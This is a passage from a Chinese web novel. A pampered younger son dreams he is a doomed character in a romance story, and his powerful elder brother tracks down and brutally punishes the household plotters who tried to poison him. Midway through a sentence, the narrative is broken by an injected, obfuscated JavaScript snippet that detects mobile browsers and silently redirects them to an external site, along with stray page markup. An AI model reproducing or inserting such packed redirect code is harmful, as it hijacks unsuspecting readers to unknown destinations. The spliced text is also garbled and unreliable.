燕颂实在敏锐,燕冬吸了吸鼻子,盯着对方左腕上的黄玉手串,是燕颂离家前他送的那条。他伸出一根指头勾住那手串,说:“我又得了一盒漂亮珠子,赶明儿就给你做一串新的。” 燕冬自小就喜欢给燕颂做饰品,叮铃咣啷地往人身上一套,燕颂也随他打扮,来者不拒。 “好。”燕颂说,“说吧。” “噩梦惊醒那一瞬间,我的脑袋里突然莫名其妙又自然无比地多出一条认知——你知道吗,其实我们是话本里的人。” 说罢,燕冬猛地觑一眼燕颂,对方愣了愣,却果然没有露出“你小子在耍我”或是“明日带你去驱邪”的意思。 他松了一口气,语气快了起来。 “话本叫《霸宠之世子的小狐郎》——你不要嫌弃,我觉得这个名字很直抒胸臆。但这是个男风话本呢,我竟不知哪家世子是好男风的!” 在大雍,世袭家中爵位的继承人惯常被称为“世子”,不代表官爵品级,只是一种尊称。燕冬掰指头,除大哥外,就只有崔郡王府的崔表哥、镇远侯府的侯二哥、安信侯府的李小侯爷和长宁伯府的贺申。 这四人里有他亲近的、可以一块玩的、互相看不顺眼的,但好歹都认识了十几年,他怎么就没看出来谁有好男风的潜质呢! 燕冬指尖一挪蹭,开始把玩燕颂手上的青玉扳指,“大哥,你知道是谁吗?” 燕颂放平掌心,“我又不是帮人家管裤腰带的,哪里清楚?” “你们审刑院不是连官员在自家床帐内和妻妾同游的密事都能查探到吗?”话虽如此,燕冬这会儿倒也不执着撬出霸宠小狐郎的霸道世子到底是谁,“好吧,其实谁好男风并不重要,重要的是我是一个开篇就死的人物——噩梦不是噩梦,而是预知,是我的命。” 燕冬鼻尖一酸,想他觉得自己天生好命,生在清华显贵人家不说,燕家阖家安宁,从来没有自家争斗的糟心事。家人疼爱,朋友义气,顺风顺水,哪有不好的?兄姐目标清晰,自有锦绣前程,他就松快许多,没想着光耀门楣,就想着一辈子锦衣玉食,最后穿着好看的寿衣美美地躺进漂亮棺材里。 谁曾想,他的好命会在十八岁前陡然断送,还是以那样倒霉凄惨的方式。 才歇不久的眼睛又模糊起来,燕冬说:“我知道隐瞒不说会让人担心,但我实在很怕他们会接受不了。我很希望这只是噩梦,但我没有做过这样真实的噩梦,这几日我也证实了,梦里的一切信息:猴儿无聊时编的彩穗铜钱串,鱼儿新换了雪竹扇面,程庄换了红梅厚布帘,这些都是真的。” 他攥紧那玉扳指,指腹生疼,“我幻想着做缩头乌龟、雪停后不去程庄就不会死,可既然我是话本里的人,白纸黑字,落笔定性,怕是注定了。” 这才是让燕冬这几日鳏鳏的原因。 常春春提着篮子走到门口,他鹰觑鹘望、耳力敏锐,能听清小公子黏糊的哽噎之语。 可这话的意思? 常春春惊疑不定,抬眼时对上燕颂的目光,他深知上意,没有立刻将衣物送进去。 “我不是很怕死,但我实在不甘心不舍得……好吧,甘不甘心舍不舍得都要死,我只能咬牙认了。方才我本来想留一封遗书,但大哥既然回来了,我就口头说给你听。”燕冬泣涕涟涟,抽噎着说,“第一,我死也要死在大哥怀里,死得最安心,最暖和。第二,幽魂之说多半是假的,人死后只是一捧白骨,所以你要把我的骨灰塞进我送你的双燕荷包里,你们想我的时候就拿出来看看,破了就请娘亲补一补,另外一定要熏石叶香。第三……” 燕冬哽咽难鸣,浑身哆嗦,艰难地说:“既然活着不能陪大哥长久,只希望你百年后也握着荷包,予我们合棺同葬,做一辈子的好兄弟。还有,你们记得给我烧很多纸钱元宝,我死了也要当富贵鬼,还需得贿赂鬼差,让我等你们百年一起投胎。哥……” 他再说不下去,抱着燕颂无声大哭,很怕将心肝脾肺都呕对方一身,但又实在控制不住。 燕颂拍着燕冬的背顺气,颈间好似在下暴雨。他垂眼看着怀里的人,说:“我还没有死。” 这话很平淡却又很郑重,很郑重却又很平淡,意味不明,莫名其妙。燕冬抬头看向燕颂,不解地打了个哭嗝。 哥哥当然没有死,哥哥要长命百岁,长命百岁,长命百岁! 燕冬这会儿实在出不了声,只能在心里念得很大声,胀疼的眼睛瞪着燕颂,不要说不吉利的话! “你做这场噩梦,不是老天在吓你,是在予你慈爱,给我们机会。”燕颂用沉静温和的目光凝视着燕冬,是安抚,也是保证,“我会尽快查出下手之人,替你解了这场噩梦。” 燕冬喘着气,歇了歇才哀哀戚戚地说:“可我注定是英年早逝的命,今儿不坠崖,说不准明儿就喝水呛死啦……等等,我不会在茅坑里摔死吧?!不要哇……” “我还没有死。”燕颂又这样说。 燕冬不明白这话的意思。 “若真是全然天定,无力转圜,那我就不会有机会听你说这些,而是在某地某时突然听说你的死讯。” 燕颂突然沉默,燕冬“嗯”了一声,却被捂住了眼睛。 看不见,却听得更清楚,燕冬贴着长兄的胸膛,被那激烈的心跳砸得耳膜嗡然。后怕还是愤怒,亦或还有别的情绪,他分辨不清,但燕颂不让他看,他就乖乖地不看。 俄顷,那只手才松开,燕冬看见了燕颂,后者神情如常,眼眶却红了。 哥哥也会掉眼泪吗? 燕冬从未见过,此时却忘了惊奇和探究,没有多看一眼,慌忙垂眼避开,仿佛没有发现这秘密。 “所以,”少焉,燕颂才说,“只管把一切都交给我,你只需好好用膳,好好休息。” 燕冬嘴唇嗫嚅,像是被说服了但还有一点点顾虑,燕颂抬手抚平他的眉心,轻声说:“汤圆,要听话。” 汤圆是燕冬的小名,因他幼时长得极为白嫩可爱,笑起来甜滋滋的,很像娘亲爱吃的芝麻糯米圆子。等他长大了,小名就唤得少了,这会儿冷不丁一听,燕冬愣了愣,随后明白大哥在哄 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外人畏惧的活阎王生了副极好的皮囊,月凝玉雕、光映照人,俊美整丽得不似凡人。那双凤眼狭长锋锐,却又深邃风流,招人得很,燕冬小时候上丹青课,老师让他画山画水,画星画月,画世间美好,他交出的三五张中至少有一张是这双眼睛。 小公子为何这样?老师抱着头,隐隐崩溃。 燕冬却振振有词,因为那双眼里有山有水,似星似月,美丽无双,有天地万相。 除了那位老师,应该没有人会排斥这双眼睛,为之痴迷也是再寻常不过的事。这么一想,燕冬又想起一件重要的事,立马问道:“大哥,你真的去花楼狎|妓了吗?” 那尾音和眉毛一块儿上扬,仿佛听到一声“是”,他就会立刻翻脸发飙。 燕颂笑了笑,老实交代了,“去花楼是真,狎|妓是假。” 燕冬松了一口气,只要不是去做坏事的,管他去花楼做什么呢!大哥既然没有细说,那应该是涉及公务,就像雍京府的官差也会从花楼里逮捕到逃犯一样! 这时燕颂抬眼,“谁同你说的?” 燕冬很有义气地说:“我自己查的。” 燕颂瞬间拆穿,“从在溪那儿查的?” “啊,”燕冬立刻拉住燕颂的袖子撒娇,“鱼儿是知道我不想错过大哥的任何消息才同我说的。他和五皇子是表兄弟,又和我是好兄弟,奚望就没怎么避讳嘛。” 燕颂笑哼一声,揉了把燕冬的头,“用膳。” 燕颂做了保证,又解释了桃色传言,燕冬大为宽慰,趴在圆桌上把厨房送来的梅花汤饼嗦得汤都没剩一滴。 和常青青轮值的和宝端来托盘,燕冬漱了口,在燕颂的目光指示下进了里间,乖乖钻了被窝。 少顷,燕颂也进去了。他站在床前看着睁着眼直勾勾地盯着自己的人,说:“好好睡一觉,我晚些时候回来。” “休息好了再查也不迟的。”燕冬担心的,“这寒冬天,昼夜疾驰几日,铁人也要松一松筋骨,万一生病就不好了。” “我有分寸。”燕颂俯身替燕冬掖紧被子,看了眼那双红肿的眼睛,起身放下床尾的半面淡青床帐,转身走了。 燕冬盯着床畔发呆,直到和宝的小圆脸突然撞到眼前,对方说:“世子说您的眼睛得敷一下,否则醒来要变成胖核桃啦。” 燕冬带着鼻音嘿了一声,和宝轻轻替他贴好药布,清清凉凉的,有点像燕颂身上的味道。 这几日起起伏伏、悬跌不停的心因为夜归人安定了下来,燕冬呼了口气,闻着草药味睡着了。 一坨毛茸茸的“雪球”滚进床边的狗窝,陪主人就寝。 和宝守在床边,待燕冬的气息逐渐安稳,心中骤然松了一口气,恨不得出去放鞭炮。 果真灵丹妙药,见效飞快! 另一边,常春春跟着燕颂出了逢春院。 金玉满堂在雪夜中簌簌晃动,燕颂走到桂花树下,在树影和月光间停下脚步,身影半明半暗,常春春看不清他的表情。 “当午。”燕颂唤道。 灰衣劲装的青年幽魅般落在燕颂身前,低眉捧手道:“主子。” 燕颂说:“自此刻起,你留在他身边。” 燕冬跟前并非无人可用,只是这些人都是听他的命令行事,不敢违背,譬如燕冬出门不让人跟着,他们就没人敢跟着。 当午是燕颂跟前最得力的暗卫之一,少在人前现身,是最坚硬的保命符之一,常春春却并不惊讶燕颂会将其派到小公子身边。 人有软肋,敞亮于世,唯有竭力保护。 当午明白这句话的份量,说:“属下誓死保护小公子。” 燕颂说:“去吧。” 当午衣袂飘飞,轻功极好,雪地里不曾留下他的半分脚印。 燕颂侧首望向山茶雪竹后的柳燕雕花窗,目光晦暗不明。 这人啊,还是得一直放在眼皮子底下才能放心,一口气也不能松,松了,就是把自己的心肝脾肺身家性命放到人家的刀剑口子上去,叫人戳个稀巴烂,悔恨莫及。他从前的些微放手原本是为了给燕冬喘气的自由,可如今看来,却也给了一些人找死的机会。 常春春请示:“世子,要从哪里查?” 燕颂的目光在雪幕间变得冰冷,“鱼家。” 4. 注视 一队亲卫将桃溪山和程庄围住,常春春从庄里提了把玫瑰椅出来,摆在大门前请燕颂暂坐。 飞雪如毛,亲卫持伞罩住燕颂,很快就有两个人被五花大绑地押了出来,随行的还有庄主程峰。 “马倌张维,侍从李达,”常春春翻开名册给燕颂过目,“他二人都是两月前入庄的,这是在他们屋中搜出来的。” 亲卫呈上托盘,上面放着两只小药瓶,没有标名。 燕颂不语,常春春复又抬眼看了眼程峰。 寒冬天,跪在一旁的程峰已经出了一额头的虚汗,见状立刻解释道:“世子容禀:入庄做事的人都要经过层层挑选,首要便是家世清白,手脚干净。入庄后历来是先调|教三月,这二人之所以可以提前做事,是因他们都是已经在本家受了教的人。” 鱼照影闻讯赶来,正好听到这话。 他翻身下马,上前捧手唤了声“世子”,待燕颂颔首才侧身看向程峰,“本家哪来的?” 鱼照影与燕冬是打小的好交情,按他们自己的话说,那是异父异母的亲兄弟,此时却称呼燕颂“世子”,便是要公事公办的意思。程峰自然不敢隐瞒扯谎,说:“回您的话,是菏院。” 那是鱼家长公子的居所。 但家务事先放在一边,能让燕颂亲自登门“拜访”,必定不是小事,哪怕为了文华侯府,鱼照影都得为长兄说一句话。 “家兄虽管制菏院,但他平日并不过问下人的事,且他三个月前便领了文选司的差事,下州县去核查明年上任京官的资格文书了。你二人,”马鞭狠狠抽在李达身上,鱼照影冷声呵道,“还不从实招来!” 李达惨叫,一旁的张维蜷缩着抬眼,冷不丁对上燕颂的目光,漆黑幽冷,仿若鬼潭。他浑身一抖,慌忙埋下头,磕头求饶,说自个儿只是奉命行事。 “奉谁的命?”鱼照影问,“意欲何为?” “药瓶是、是菏院的一个嬷嬷给我们的,听声音是李嬷嬷,她、她让我们……”李达见同伙招架不住,生怕自己晚一步会下场更惨,连忙忍痛结结巴巴地抢先抖落出自己知道的,“让我们在燕小公子来庄里时瞅准机会出手。至于这是什么药,小的们当真不知,求世子饶命!” 鱼照影脸色骤变,心念电转,“世子是为了冬冬……他近来的反常与此有关?” 燕颂颔首。 鱼照影捏紧扇柄,他将程庄当作自家地盘,侯翼和燕冬就少了防备心,没曾想却是因此差点害了燕冬!菏院,菏院……鱼照影的目光垂了下去,他在这一瞬像是想了许多,又像是什么都没想。 “如今菏院是谁代管,在溪应当心里有数。”燕颂看着鱼照影,语气还算温和,“为着两家的情谊,我就不上门叨扰了。” 燕家和鱼家哪有什么情谊,都是燕冬的情面罢了,因此燕颂越客气,鱼照影越是如鲠在喉。他僵硬地抿了下唇角,捧手道:“我立刻回去拿人,先行告退。” 说罢,上马奔下山去。 常春春说:“世子,这两人都只是棋子,所知不多,要如何处置?” “这桃溪山的山底,不正是一个好去处?”燕颂说,“晚些时候一道丢下去。” 两人胆裂魂飞,磕头如鸡啄米,很快被麻绳勒住嘴粗鲁地拖拽了下去,只留下一片蜿蜒尿痕。 程峰汗如雨下,磕头道:“小人御下不严,请世子降罪!” “本家的人不能拒绝、有所特殊也是常情,介弟平日跑马常来此处,也与我说过庄里的人做事周到,没有不好的,只是,”燕颂屈指敲了下扶手,淡声说,“好歹是一庄之主,凡事也该为自家庄子的前途生死做打算,是不是?” “世子教训的是,此事是小人管治不严,有所疏忽,万望世子慈悲,暂且轻饶了小人,小人必定引以为戒,不敢再有错失。”程峰接连磕了三个响头,长拜不起。 燕颂起身掠过程峰,“你最大的错失不是管治不严。” 常春春看了眼怔愣的程峰,说:“鱼二公子既然将此处当做自家地盘,想来是受了程庄主的一片孝心。” 这一点拨,程峰便明白了。 世袭之位迟迟不定,他们这些人都陆续暗自择了阵营,燕颂这是在说他孝心漏了缝,让人乘隙而入,差点牵连了他如今真正的、唯一的主子。 其实那二人刚来的时候,程峰也暗中注意了一个月,见他们手脚勤快,安分守己,便渐渐放下了防备。程庄作为有名的马庄,平日进出庄子的客人都是贵客,出门前呼后拥,外人不得近身,入口之物有人检查,还没有出过事的。出事也必定会牵连文华侯府,哪怕兄弟斗争,力气也不是这么使的。 可他这么想,别人未必! 所幸还有转圜的余地,程峰战战兢兢地说:“小人谨记世子教诲,往后必定用心做事,时刻严备,不教二公子失望。” 他起身将燕颂送到马车边,在窗边俯身捧手,直到车轱辘声消失才直起腰身,脖子底下已经湿透了。 山路安静,只闻风声,燕颂靠着汤圆绒垫枕假寐,说:“在溪还是年轻。” “鱼二公子算是细心谨慎的,但到底没怎么经事,心不够狠,不过吃一堑长一智,总归他与咱家小公子的心是在一处的,您愿意提点一句。对了,”常春春骑马伴在窗外,提醒道,“您既已归京,陛下那边?” 燕颂揉捏鼻骨,倦怠地说:“此时无暇分身,叫农生和任麒入宫一趟,详叙黔州和潞州之事。明日我自会入宫请罪。” 办差回京却不立刻入宫请安,难免教人拿住错处弹劾自矜无礼,常春春却没劝什么,只点头应了。 * “农生!” 傍晚,雪花飘飘扬扬地洒了一院子,燕冬枕着汤圆绒枕趴在窗沿发呆,眼尖地逮住刚从屋檐翻下的年轻男人,佯惊道:“你偷偷摸摸的,想做什么坏事!” “这不是来孝敬您吗?”农生走到窗前,变戏法似的变出一只小食盒,“给您买了张记,香不香?” 食盒里放着一包酥黄独,用芋头切片撒上香榧、杏仁,裹了调制好的面糊下锅油煎而来,这会儿正热乎,香气扑鼻而来。 燕冬拿筷子吃了一只,外酥内糯,美味极了。他想起前几日,觉得自己罪大恶极,“浪费了好多好吃的。” 见燕冬又能吃得香了,农生松了口气,伸手帮他将白色的风帽理了理,说:“无妨,您什么时候想吃,咱们什么时候给您弄来。” “嗯。”燕冬眼疾手快地搂住差点从窗沿栽下去的小白狗,又给自己塞了一块,随后说,“你没和大哥一道吗?” “我才然打宫里回来。”农生说,“陛下问您到底得了什么病?身子好了没有?我说是梦魇受惊,心里不安生,天又冷,索性就在家懒了几日,如今就快好了。陛下便没有再问什么,只让人备了补品和一些漂亮物件给您,还让我传个话:‘有事儿别憋着,入宫来,朕给你做主。’” 燕颂回来瞧见的便是这幅场景,燕冬裹着小黄袄,戴着白风帽和手套,浑身上下只有小半张脸露在外面。他面皮儿薄,腮帮子一鼓一鼓的,眉眼含笑,看起来心情不错。 燕冬也瞧见了他,眼睛一亮,立刻抬起双手召唤。 燕颂抬步走过去,“屋里太暖和了,偏要坐在这里吹风?” “我醒来没看见你,就坐在这里等你啊。”燕冬理所当然地反驳,又往嘴里塞了一只。 燕颂看了这馋鬼一眼,没有说话。 常青青端着水盆走到面前,燕颂脱掉指套放在托盘上,拿热帕子擦脸擦手,“小公子用晚膳了吗?” “我就在这里,直接问我呀!”燕冬举手抗议。 常青青忍俊不禁,说:“用了。起先还想着等您回来一道用,后来几位主子都来了,就先一道用了。” “世子还没用膳,”常春春吩咐廊下,“叫小厨房把温着的晚膳端上来。” 燕冬瞅着这些人,一个两个比他这个正经的逢春院主子还如鱼得水,连小厨房温着饭都知道。 侍从们麻溜布膳,燕颂在主位落座,燕冬和雪球一起爬下榻,屁颠颠地占据燕颂左右两把椅子。 “陛下的意思是您来回奔波着实辛苦,明儿不必入宫,在家多歇歇再去公廨。”农生轻声对燕颂传话,燕颂颔首,农生便退下了。 “今晚的鱼是爹爹烧的。”燕冬嗅着香味,忍不住顺手拿筷子搛了一块。 燕颂把一小块鱼肉放入嘴里,熟悉的味道,一抿即化。他说:“不问我下手之人是谁?” “青青说鱼儿之前急急忙忙地出去了。”燕冬说。 燕颂言简意赅地将事说了。 李嬷嬷,燕冬记得她是菏院的管事嬷嬷之一,鱼大跟前的老人。 这人也是见过世面的,却能被人诱以作恶,连本家声誉和自己的性命家人都不顾……哦,燕冬记起来了,李嬷嬷为了全心伺候主子,一身未嫁,孑然一身,做起事来是要比拖家带口的方便利落。 燕冬用筷子戳着食盒里的空碟子,纳闷道:“可她为什么要害我呀?我又没得罪她,难道是因为我和鱼儿亲?可我死了,她主子就一定能当世子吗?奇奇怪怪。” 燕冬不能理解,索性就不理解了,“大哥是如何处置他们的?” 燕颂眼前掠过山崖底下那三具被野兽撕咬吞噬的血肉和一具断头兽尸,在燕冬小雪灯似的目光中抿了口粥,选择了一个不那么吓人的形容。 “挫骨扬灰。” 燕冬听过这词,却没有亲眼见过,略有好奇,“到底是怎么挫的啊?用石磨磨吗?” 燕颂逗他,“有机会带你瞧瞧。” “那倒不麻烦您了。”燕冬握着食盒,双手指尖在盒身弹着自创曲调,“那没有李嬷嬷,要怎么查指使她的人呢?” “一颗棋子所知有限,但她经手的钱财和药瓶都是线索。”燕颂说,“药瓶已经送到三妹那里了,别的也在查,很快就会有消息。” “不急不急,大哥今晚先早些休息。” 虽说燕颂是出了名的铁驴,但燕冬还是不放心,用膳后便取了毛领披风给燕颂裹上,并将监察官雪球塞进燕颂怀里要求对方必须睡满四个时辰。 小白狗身负重任,在主人的目光鼓舞下昂首挺胸,狗假燕威地朝燕颂“汪”了一嗓子! 燕颂揉了揉威风凛凛的狗头,燕冬见状把脑袋伸过去,酸溜溜地说:“昂!” 燕颂有些无奈似的,伸手揉了下燕冬的脑袋,等对方满足地蹭了蹭自己的手心,然后乖乖钻进里间了,才失笑一声,转身离开。 燕冬从紫檀柳燕纹方角柜里拿出一只小匣子,从中取了一串游鱼戏水样式的羊脂玉圆形扇坠放入锦囊,叫了常青青进来,“去,把这个交给鱼儿。” 常青青“诶”了一声,接过锦囊扭头去了西边。 自小一块儿长大的孩子们哪有不互相串 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457000|169559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门的,燕家最自在,侯翼和鱼照影往这边来最多,燕冬搬到逢春院后索性就将偏院划给他俩当窝,还取了个特腻歪的名字,君来小筑。 这会儿侯翼也在鱼照影屋里躺着,常青青在门前打了声招呼,将锦囊呈到鱼照影跟前,笑着说:“天忒冷,二位公子早些安寝。” 鱼照影颔首,待常青青走了,打开锦囊一瞧,不由失笑。 “哟,我们冬这手艺,不赖啊。”侯翼从弥勒榻一跃而起,凑到鱼照影身后瞧着对方手中的扇坠,像是吃味了,“我都没有!偏心眼子,看我明儿不揍他!” 鱼照影笑着,沉默着,轻柔地摸着那扇坠。 消息很快传入常春春耳朵里,“不错,就是要这样,有关小公子的,事无巨细,一律报我。” 那所谓话本中人的梦无论真假,都得当成是真的,桃溪山的事情不能有第二回。 常春春打发了钉子,转头正好瞧见小白狗第三次偷偷蹭燕颂的下巴,不禁打趣说:“好在雨雪放朝,不用卯时上朝,否则它的任务是完不成了。” 燕颂托着小白狗的屁股,冷酷极了,“完不成就扣下,叫它主人拿更宝贝的来赎。” 雪球立刻叛主求饶:“汪!” * 守门狗的叫声从门外传来,在幽冷冬夜有几分诡异凄厉。 榻上的女人从飘散的思绪中惊醒,“李嬷嬷还没回来吗?” “怕是回不来了。”贴身侍女打帘入内,走到贵妃榻边跪下,帮女人掖了掖身上的裘衣,“燕世子亲自上了桃溪山,二公子回来将李嬷嬷带走,俱都来者不善。” “不知是不是我心虚,燕世子回来得遽然,倒像是提前知道了什么一般。”女人姣好的面上浮现出一丝惊疑,“可虽说这人年纪轻轻便位极人臣,智多近妖,但提前预知也不大可能啊——莫非他真如传言一般,不是凡人,而是阎王?” “小姐,”女人已嫁作人妇,但侍女还是习惯称呼其为“小姐”。她无奈道,“众人私下称燕世子为阎王,是因他权威摄人,所到之处百鬼胆颤,没有说他不是人的意思。只是小姐既知燕世子不是善茬,何苦要听从那人,以身犯险?” “我也是为了明空嘛。”李海月抬手按了下一丝不苟的云鬓,很是发愁,“世袭之位迟迟不定,公公态度不明,婆母内敛柔善,除了我,谁肯为明空打算?” 侍女心中忧愁,“小姐为姑爷费心了。” “燕冬与老二交好,每次看见我都冷淡疏离、不大瞧得上的样子,这必定是老二在他跟前说了我们的坏话!那小子被家里养得骄纵,若是来日受了老二的蛊惑,叫嚷着让家里人跑到陛下跟前为其美言,促使公公因此择定老二为继承人,到时候就晚了!”说到这里,李海月很是可惜,“原本想着,若燕冬在桃溪山出事,便能将火烧到程庄和老二身上,老二就算能撇清关系,燕家也会和他生出龃龉,断了往来,却没想到燕世子回来得这么早。” 侍女打一开始就觉得这步棋实在太险了,险得哪怕成了也是弊大于利,无奈李海月生了颗牛心,更听了那位的“提点”,是劝不动的。 “可如今燕世子已经在查李嬷嬷了,若是查到咱们头上?”侍女打了个哆嗦。 “当日乔装见李嬷嬷的不是我,她哪能猜到是我?何况李嬷嬷找人去程庄时也是遮掩面容、佯装了身份的。她自小伺候明空,心里是向着咱们的,否则哪怕再晓之以利害、诱之以金银,她也不敢冒险。如今人没了,更是死无对证。”李海月撑榻坐起来,搅着手中的金丝帕,“明空不在京城,此事和他扯不上干系,哪怕燕颂非要扯咱们,我也可以说是有人故意陷害,挑拨两家关系,借此得利。只要没有实证,燕颂也不敢拿我如何,他再嚣张,总要给德妃和二殿下情面。” 燕世子甚至呛过陛下,他还会给旁的谁情面吗?何况如今的局势,怕是二殿下更愿意给燕世子情面——只是侍女还没把这话说出口,门就被轻轻敲了一下。 “大少夫人,”丫鬟在门外请示,“有人送了只匣子过来,说是李嬷嬷的物件。” 李嬷嬷?李海月和侍女对视一眼,疑惑的同时心底莫名升腾起些许不安,但李嬷嬷的东西,必得要看了才安心。 侍女开门接过匣子,转身递到榻前,岂料盖子一开,尖叫声陡然撕裂夜幕,院外狗吠跟着惊响,菏院瞬间陷入慌乱。 “啊——拿开!” 李海月抬手一挥,匣子“啪”地摔在地上,里面的物件滚落出来,赫然是一双血肉黏结的浑浊眼珠。 它摔落在地,仍在盯着李海月。 “从今夜起,李海月再无安眠之夜。” 燕颂靠在藤椅上替雪球梳毛,他才然洗漱,外袍敞着,长发披散,侧脸在烛光的映衬下不似凡俗能有。常春春站在后面替他抹兰膏,屋内淡香充盈。 闻言,常春春说:“您觉得此事和鱼大有关吗?” “逢春若死,鱼家覆灭,鱼大不至于在桃溪山出手,痕迹太重。李海月虽蠢,但这次这般大无畏,”燕颂细了细眼,“这也是颗棋子。” 常春春说:“能说服李海月冒险行事的人,不简单。” 燕颂没说话,这时被“伺候”舒服了的小白狗转过头来,用一双圆溜溜的葡萄眼向他表示感谢。 燕颂看着那双明亮莹润的眼睛,神情柔和下来。他把小狗抱进怀里,偏头蹭它的脑袋,轻声说:“犯我者,人人杀得……莫怕。” 5. 秘密 哈!哈! 他燕小公子又回来了! 天侵晨,燕冬一改这几日的颓丧,麻溜起床洗漱,穿一身松花棉袍罩白毛领披风去前院用膳。 侯翼晨起练拳后换了身箭袖玄袍,打半路出来,马尾高束,剑眉星目,乍一眼还真像个人。 燕冬上去就是一拳,“你还没回?鱼儿呢?” “蹭了早膳再回。”侯翼一个侧翻躲过,落地后一抹额发,“他先前就被叫回去了,听说李海月昨夜梦魇,生生吓昏了过去,这不,她娘家安信侯府的人今儿一早就去探望了。” 又是个被噩梦吓惨的,难道李海月和他一样?燕冬摩挲下巴,哎呀,管她呢。 两人狗撵狗似的一路疯闹到了膳厅,刚一进门,就听人说:“翼儿出门怎么也不罩一件披风?” 崔拂来华鬓宝簪、略施粉黛,打拐角过来。 燕冬上前抱住娘亲的一条胳膊,埋头蹭了下她肩膀上柔软的白裘,舒服地说:“他心火旺,才不会冷。” 侯翼叫了声“崔姨”,“我不冷,再脱三件也扛得住!” “敢情你小子不只裹了三件?”老二燕纵从隔屏后绕出来,长眉一挑,“我赢了——我只穿了三件。” “你俩要是待会儿光溜溜地出门,我才敬你们是真汉子。”老三燕姰伸手推开挡路的燕纵,朝侯翼招手,“鸣飞,快坐。” 侯翼“诶”了一声,在燕姰身旁坐下了,偏头时和燕姰另一侧的燕纵对视了一眼,两人默契地抡起胳膊,比试谁的手臂更有力,线条更流畅,形状更优美。 突然,第三条胳膊加入进来,两人同时转头,对上一张郎目浓眉、风气英秀的脸。 燕青云哈哈道:“两个小崽子,睁大眼睛好好瞧瞧,什么叫做铁臂!” “……”燕姰闭眼。 崔拂来驮着胳膊上的“大挂件”走到主位落座,燕冬坐在她旁边,旁边的空位是留给燕颂的。他们家里除了主位,别的位置没多讲究,孩子辈们随意就坐了。 近来休朝,燕颂今早也没有议事,来得及和家人一道用膳。他到主位前和爹娘行礼问安,几个同辈纷纷叫了声大哥。 燕冬双手欢迎,“大哥请坐!” 燕颂迈步过去,落座前揉了把燕冬的脑袋。 “二弟今日有课业,一早就去国子学了,咱不等他。对了,”崔拂来扭头看向燕冬和侯翼,“说起国子学,你们逃学小队可不要忘了参加罢馆考试,否则年后启学有你们头疼的。” 侯翼探向羊肉馒头的筷子一颤,有点心虚,“我记得,一定准时参加!” 燕冬比侯翼老实,“娘亲不说,我真的忘了。对了,考得好有没有奖励?” “考得好有奖励,考得不好有惩罚。”燕颂舀了一碗粟米粥放在燕冬面前,“跌出前五,年后下学归家就在书房多学一个时辰,届时我会请老师来管你。” 啊?! 燕冬有点惊吓,有点不甘,见一桌人没有敢站出来帮他反抗强权的,只能绝望地说:“哦……” “咳咳!吃饭吧!夫人,孩子们!快吃饭!”燕青云瞥了眼苦巴巴的小崽子,露出一记“爹到时候一定帮你想办法”的眼神,燕冬则回以“虽然您实力跟不上,但有心就好”的欣慰目光。 名为一家之主实则大权旁落地位堪忧的燕国公收回目光,往嘴里塞了一大只笋肉夹。 碟子里突然多了只春饼,燕冬转头对上燕颂的视线,脖子一缩,把头埋进了碟子里,老实用膳。 他在心里默念五个数,偷偷抬眼,被仍然瞧着自己的燕颂逮了个正着。 “嘿嘿,”燕冬立刻孝敬一只虾仁,“不要只食素,咱们要荤素搭配。” 众人看着燕冬献殷勤,眉眼浸在笑里,不约而同地松了口气。燕青云看着低头和燕冬说话的大儿子,对方渐渐变成了天山雪莲、千年灵参的形状! 用了早膳,燕冬遣散下人,清了清嗓,“诸位。” 小家主要讲话了,众人当即正襟危坐。 “这几日我让大家操心了,这一杯我干了,权当赔罪。”燕冬端起茶杯一饮而尽,很神秘的,“大家一定想知道到底发生了什么事吧?” 燕纵浮夸地说:“这是可以说的吗?” “我本是不想说的,怕大家担心,也怕你们觉得我中邪……嗯?”燕冬敏锐地盯住他老爹。 燕青云挤出一抹温柔慈爱的笑,“爹爹的宝贝好大儿……哦不,小儿,怎么了?” 燕冬狐疑,“您现在竭力掩饰的情绪是什么?” “心虚。”崔拂来拆台。 “夫人!”燕青云嗔了崔拂来一眼,起身走到燕冬身后,给小崽子捏肩捶背,“爹爹承认是找了一些和尚道士来家里——” “是很多,”燕纵说,“三百多个——呜呜!” 燕青云一个闪身拿帕子塞住燕纵的嘴,又一个闪回去,哄着说:“人多力量大嘛!姰儿说你不是生病,爹爹又撬不开你的嘴,是真没法子了!” 燕冬近距离地看着燕青云,发觉那张本就棱角分明的英俊面庞瘦了些,眼下隐约乌青,这些天他吃不好,家里又有谁能快活呢? 他耷下眼皮,愧疚地说:“对——” “对了,”燕姰打断,“赶紧说重点。” “就是,”燕青云揉捏了一把小崽子的脑袋,折身回了座位,“赶紧老实交代!” 燕冬抿唇笑了笑,把道歉的话咽了回去,接着先前的话说:“但现在事情已经解决了,说说无妨。” 说罢,他将事情原委一一道来。 梦魇和话本世界,哪个不惊人吓人?众人听着,饭桌陷入安静。 “砰!” 燕青云起身一掌劈在桌上,怒不可遏,“脑子被驴粪塞满了的东西,竟敢意图对咱家孩子下此毒手?!今日我就入宫参他鱼家和李家一本,若陛下不予处置,我直接打上门去!老子在家逗鸟养花喂鱼久了,真当老子残了废了,提不动刀了!” “你先坐下。”崔拂来握住燕青云引以为傲的铁臂,看向燕颂,“颂儿,你怎么想?” 燕颂说:“两家家主应是不知情的。此事由我来处置,必定会让心有不轨者付出代价。” 他的目光扫过众人,最后看向撑着下巴直勾勾盯着自己的燕冬,说:“大家尽可放心。” 燕冬盯着那张沉静的脸,点头说:“对的对的,这件事情我已经全权交予大哥来处理啦。” 燕颂的手腕,桌上哪个不知,闻言心里都安定了不少。 燕纵最先不正经,“诶,冬冬,既然咱都是话本里的人物,那你最英明神武的二哥是个什么角儿?” “不知道呀。”燕冬说来也有些不高兴,他就知道自己在开篇就死掉了,旁人的结局一个不知,可恶! 燕姰说:“听名字是个风月话本?霸道世子的小狐……郎?” “还是个男风话本。”崔拂来见多识广。 “娘诶!”侯翼震惊,“我怎么不知道哪家世子好男风?!” 岂止他,大家伙都不知道呢! 